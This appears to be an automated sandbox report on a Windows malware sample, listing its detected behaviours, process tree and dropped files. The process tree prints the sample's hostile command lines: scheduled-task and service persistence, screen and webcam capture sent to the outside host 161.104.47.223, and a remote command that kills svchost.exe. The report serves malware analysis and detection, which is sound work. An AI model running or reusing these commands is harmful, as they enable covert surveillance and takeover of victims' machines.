Analysis

  • max time kernel
    113s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/08/2026, 03:26

Errors

Reason
Machine shutdown

General

  • Target
    2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 649KB
  • Sample260802-dzl7xstcmd
  • SHA256 cd92ea3b0110ad32503979c133686a98186fcc5fb63dcb477ab8bf9c397eb318
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 4 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 4 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 11 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Modifies WinLogon for persistence
    • UAC bypass
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3492
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "WindowsHostService" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4144
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "WindowsHostService_boot" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4980
    • C:\Windows\SYSTEM32\sc.exe
      sc create "WindowsHostService" binPath= "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
      2⤵
      • Launches sc.exe
      PID:4780
    • C:\Windows\SYSTEM32\sc.exe
      sc start "WindowsHostService" 2>nul
      2⤵
      • Launches sc.exe
      PID:3408
    • C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -screen 161.104.47.223 4445 Admin-Ocpzfhhi-3492 5 50
      2⤵
        PID:3796
      • C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-08-02_2618c353411b58d2b1fee0b897b181c4_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -camera 161.104.47.223 4447 Admin-Ocpzfhhi-3492 0 15 5
        2⤵
        • Modifies registry class
        PID:1300
    • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
      C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
      1⤵
      • UAC bypass
      • Creates a file in the Startup directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks whether UAC is enabled
      • Checks processor information in registry
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:4124
      • C:\Windows\system32\cmd.exe
        cmd /c "tar -xf "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" -C "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract" 2>nul & for /d %d in ("C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract\ffmpeg-*") do if exist "%d\bin" xcopy /s /y /q "%d\bin\*" "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\" >nul 2>nul & rd /s /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract" 2>nul & del /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" 2>nul"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4432
        • C:\Windows\system32\tar.exe
          tar -xf "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip" -C "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract"
          3⤵
            PID:3712
          • C:\Windows\system32\xcopy.exe
            xcopy /s /y /q "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\tmp_extract\ffmpeg-8.1.2-essentials_build\bin\*" "C:\Users\Admin\AppData\Local\Temp\WindowsInputService\"
            3⤵
              PID:1188
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WindowsHostService" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4376
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "WindowsHostService_boot" /tr "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4240
          • C:\Windows\system32\sc.exe
            sc create "WindowsHostService" binPath= "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
            2⤵
            • Launches sc.exe
            PID:1752
          • C:\Windows\system32\sc.exe
            sc start "WindowsHostService" 2>nul
            2⤵
            • Launches sc.exe
            PID:2616
          • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
            "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" -screen 161.104.47.223 4445 Admin-Ocpzfhhi-4124 5 50
            2⤵
            • Executes dropped EXE
            PID:1880
          • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
            "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" -camera 161.104.47.223 4447 Admin-Ocpzfhhi-4124 0 15 5
            2⤵
            • Executes dropped EXE
            • Modifies registry class
            PID:3564
          • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
            "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe" -exec 161.104.47.223 4444 Admin-Ocpzfhhi-4124 taskkill /f /t /im svchost.exe
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4284
            • C:\Windows\system32\cmd.exe
              cmd.exe /c chcp 65001 >nul & taskkill /f /t /im svchost.exe 2>&1
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3572
              • C:\Windows\system32\chcp.com
                chcp 65001
                4⤵
                  PID:1628
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /t /im svchost.exe
                  4⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:968
          • C:\Windows\explorer.exe
            explorer.exe ,C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
            1⤵
              PID:456
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
              1⤵
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious behavior: AddClipboardFormatListener
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of SetWindowsHookEx
              PID:1388
            • C:\Windows\system32\sihost.exe
              sihost.exe
              1⤵
                PID:4144

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    22D536C4B4AD2CEF7AC6B7789FD235E3

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                    • Size 283B
                    • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                    • MD5 SHA1 SHA512 TLSH

                    8B9DC743D29AB9DE072DD80446DE9B31

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B9DC743D29AB9DE072DD80446DE9B31
                    • Size 34KB
                    • SHA256 3836add7be3e25ecb741a367fb442fe7946e76c68c1c6ae3517a6bc591327ae3
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    22D536C4B4AD2CEF7AC6B7789FD235E3

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                    • Size 192B
                    • SHA256 3413dd6b98c3696518f8fc7eac9d1c2d84e240f5f652cc4e328c09f7d8213e5d
                    • MD5 SHA1 SHA512 TLSH

                    8B9DC743D29AB9DE072DD80446DE9B31

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B9DC743D29AB9DE072DD80446DE9B31
                    • Size 246B
                    • SHA256 6c5109dba23c49c79e984a0b5538e0a82a2bea35ec34455b3116f7799a36021a
                    • MD5 SHA1 SHA512 TLSH

                    ffmpeg_dl.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\WindowsInputService\ffmpeg_dl.zip
                    • Size 13.1MB
                    • SHA256 110c051c9e60556070d8f36e8b53e55d0820a91d9bee75a333883f8dac190f78
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    camera_log.txt

                    • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\camera_log.txt
                    • Size 166B
                    • SHA256 5f2deaee7307c9cd2d797dd6154925d55e80c2fd0270ec5af446dd63515b79f1
                    • MD5 SHA1 SHA512 TLSH

                    host_log.txt

                    • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
                    • Size 121B
                    • SHA256 d30d2d2b23f7f1d452ca7ba0e3684df5442ec661c1300518dfe67813c9c8374c
                    • MD5 SHA1 SHA512 TLSH

                    host_log.txt

                    • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
                    • Size 916B
                    • SHA256 1a07835cd4662305855fdcc306ff685e4426ad65c09e02c2f8f85f5ddfe51dd0
                    • MD5 SHA1 SHA512 TLSH

                    inputsvc.exe

                    • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
                    • Size 649KB
                    • SHA256 cd92ea3b0110ad32503979c133686a98186fcc5fb63dcb477ab8bf9c397eb318
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    screen_log.txt

                    • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\screen_log.txt
                    • Size 740B
                    • SHA256 a20fac65016d647659e8bc086b9613246d5a7f50ec783f2cc2b9c4f1c1950c0f
                    • MD5 SHA1 SHA512 TLSH